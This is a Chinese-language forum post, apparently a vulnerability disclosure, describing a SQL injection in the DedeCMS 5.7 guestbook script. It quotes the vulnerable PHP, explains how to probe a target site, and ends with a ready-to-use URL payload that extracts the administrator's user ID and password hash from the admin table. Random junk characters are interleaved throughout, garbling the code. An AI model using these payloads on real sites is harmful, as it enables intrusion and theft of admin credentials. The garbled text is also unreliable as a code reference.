影响版本为5.7
/ n$ o. I. l- [, z1 P1 V/ X( K+ m$ _. P1 m: u( O8 i$ \+ l j
漏洞文件edit.inc.php具体代码:5 h! J; S6 V, s/ _3 V+ T* B( N5 p h
, A1 h$ b* s4 X; T
< ?php
; O6 a3 v3 x: x, }" f( T8 Z( c" Z+ @# m
if(!defined('DEDEINC')) exit('Request Error!');
0 [, k6 a7 i" K' u. F1 K# B: q9 W8 h) S0 o; X7 I
7 J& P) J$ Y4 o3 M @2 ?
0 D* [0 Y5 J! M6 m' S
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 5 _+ t) J! ?* x W. f$ Q2 I6 w
* s+ q3 L6 ~5 \8 V& zelse $GUEST_BOOK_POS = "guestbook.php"; ' u1 p; N! S- A% A; P1 j. n
* j! J3 y9 Z& [$ }. {# m- E # M9 k7 b" h8 X, G2 v
1 T6 }, a) l; E4 G9 C$id = intval($id);
5 |8 H% s/ G6 M v8 x' F. q5 d
* O1 S4 C5 M# A$ P! _1 Fif(empty($job)) $job='view'; 1 w4 }; ^) n1 i$ u
% t3 ^3 q9 [, F6 ]0 H& b2 m
% Y1 _( h# `; m9 K
& c; v/ y' q; }( g. fif($job=='del' && $g_isadmin) 4 J0 X4 ]6 o6 {, e4 A
2 U+ D" y" m6 R0 Z" }
{
3 X$ c2 P9 l9 ^7 }
2 r2 U5 |! C- a7 f' z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
( V, f1 l; f8 p9 ^7 w6 T- q1 V6 W& o7 g$ l$ A
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 8 b; x! v/ X! H% g
& W1 Q1 l, L; s0 Z. H7 d4 rexit();
* t$ M: e8 |/ T' |& [, U8 t
, D% Z; T9 g+ ]! V}
) E2 n& G" s) M* b6 k. t& n! { K# e0 ?
else if($job=='check' && $g_isadmin)
7 m! \6 i6 J3 |: d& ?' f5 t+ Y2 d5 T# K
{ & j# T' C; K% p7 p& a; E) C" g
2 r# x4 X+ V1 _
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
) x& ~- P( l/ k6 ?0 m7 v* {# l: h4 ^' M; M( ?3 ]0 L# { v- F: N+ b
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 4 b0 g8 W+ P2 X2 H
" W# y) y" N. S' hexit(); & B) w- [$ R0 g! I& _
0 J' y! w6 _) L1 k5 Q
}
6 J' w( Y% p0 S6 B: f
' N: q! U7 ]; Y; h- X! q, o7 Uelse if($job=='editok')
( x5 H) A1 z/ l4 r- b2 k; w
" [9 ?( ]: g) O4 H{ % ?5 C0 O( K, U& [
1 D5 b& b' d8 Z
$remsg = trim($remsg);
5 d4 c2 X T4 S, J9 V/ T% \% w0 x7 z) G: v" D a" u- y! N. _
if($remsg!='')
9 j" T* i; S$ z5 G+ Y# t5 q. K/ P. I
{
' A: O* Y, d- o& \) N' J4 S R. S3 E, l& \. P
//管理员回复不过滤HTML By:Errorera blog:errs.cc ' T9 D6 b5 y2 s$ b3 e# ^4 d {$ S* ?
& T) e6 M0 r) ]& Rif($g_isadmin) " j( i5 s1 z0 [" S. @2 H
* w8 n4 ^) k% M$ ~& N9 B: }{
+ J$ n1 e/ [* {% @: ^! r5 R3 d6 \ _
1 l* d# }: }/ |! m3 V$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
* u, [$ y: i T
9 P* R4 D; S. J: B5 [//$remsg <br /><font color=red>管理员回复:</font> } 3 t/ z( l! h, t' A0 H& a# y8 t
- J: U! [: N/ l {; \& M' L* nelse
/ l9 o4 e% b2 }' z2 g
3 l3 p" ]5 j! V{ + x/ ?8 `- W( G$ X9 }4 {
g& B6 b7 t4 W7 N) n( |6 \% d
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
+ y# r0 P: H6 k* ^) O
% h2 V" T$ l8 X& Z3 D. x: M6 D$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ; m ~# i0 ~8 I& D6 O, R: v. ?4 I
( ?3 R& z9 k8 O8 N2 n$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
, I9 |5 o" ]% N* B
% p7 U% u- G( c4 r! q* @$msg = $oldmsg.$remsg; ! h, d+ X6 l3 D/ t' k' f/ @) k# ~2 Z5 P
% U/ Q9 |5 F5 A3 V}
4 O- O: y: q# r' V3 c% D0 y* A6 S7 n# L4 Y4 L
} . s- {4 p" P: `; X& F) U4 {
( v1 Z) m2 {7 b+ v: g
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
' S1 c4 S; s' S7 H( ` o# ]# E$ K4 p8 r$ g& l% P3 i
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
p1 S# @( ~2 Y% A% N
4 |8 V: v( [' gShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
' [+ ^. c- h5 j$ J1 o
$ T7 u6 p+ j7 @' t, uexit(); $ o- d# K# D J# U! I
, i: W% l* k" @% g D6 K
}
$ ~& v0 h5 a4 Q U Z1 {4 I
/ ?' ]/ P9 _: P//home:www.errs.cc
7 w x1 H# C7 _+ Z1 P
) ^" W0 ^' I6 j6 x3 _# qif($g_isadmin)
9 v+ J& d$ V* I
1 G% T! d/ q( u- R2 X{ 7 E2 L8 ?2 f) }' Q* C2 D7 p( w5 E3 K
- N' Q/ A1 S* A! Q$ ? ^( n D
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); : `& p3 c; z. _# T- _; {
- P' ]* _5 a0 A% f9 @require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ' c( b) ~$ J$ L1 m! q
1 y) @2 P; m; M! U" A0 @ y" @: O} 6 j& P# h% r: g( r
9 ^6 F. I9 a: e- G9 d# ?9 l
else
5 d& F2 y8 _8 R4 b6 g& w9 G( c
0 [$ d% U2 E4 A" g6 |4 ]. n{
' w" t E* o0 d! w+ t4 E& ]: p. M* }
- Y- A, {; u9 I* s) F6 E- U$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
9 N4 |4 Z: \0 u/ z) r2 e4 g. D' I
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
' {1 G- p' L t: B
; k" S' v/ C, ]} 漏洞成功需要条件:9 k* a+ \0 P2 s( H5 p0 s* I5 J+ O
1. php magic_quotes_gpc=off8 I/ b& `4 E* V
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。9 l- H$ {3 i" X' v+ b, q
0 c; P; H0 T3 p6 c) w1 d怎么判断是否存在漏洞:! Z& b; k8 A, c- T
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
" D7 V/ ?3 l' X( `然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID8 w, u, ^/ X- j+ S
访问:
7 k- n5 {9 J3 m- h) Y+ j4 B" n) U+ @( k
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了6 G" u+ x! S3 {7 F1 ^ x9 w9 a
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( Z, J2 \4 u; f, E. z
4 j: T2 e P+ d1 o- w& r- \8 Z% |9 y; x
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
& _2 i$ q$ r1 Y. Y; F0 {3 F! v4 W如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 |1 n+ `) @5 C5 e V' Y- a6 z
那么再次访问
/ O) [0 B6 N1 D, ?
2 ~$ R1 B* U0 `+ Xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().6 ?# i1 L, D# N/ Q2 t
1 C; o# |1 R( }% u6 D) j' V大概利用就是这样,大家有兴趣的多研究下!!
! w; c, O" ~7 }: H7 t6 f; v
* ]8 R! c, t* `( A5 {最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
/ n' e8 @# N, }2 u0 G0 E
! z( Z) t% T3 h% p9 H: l+ zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |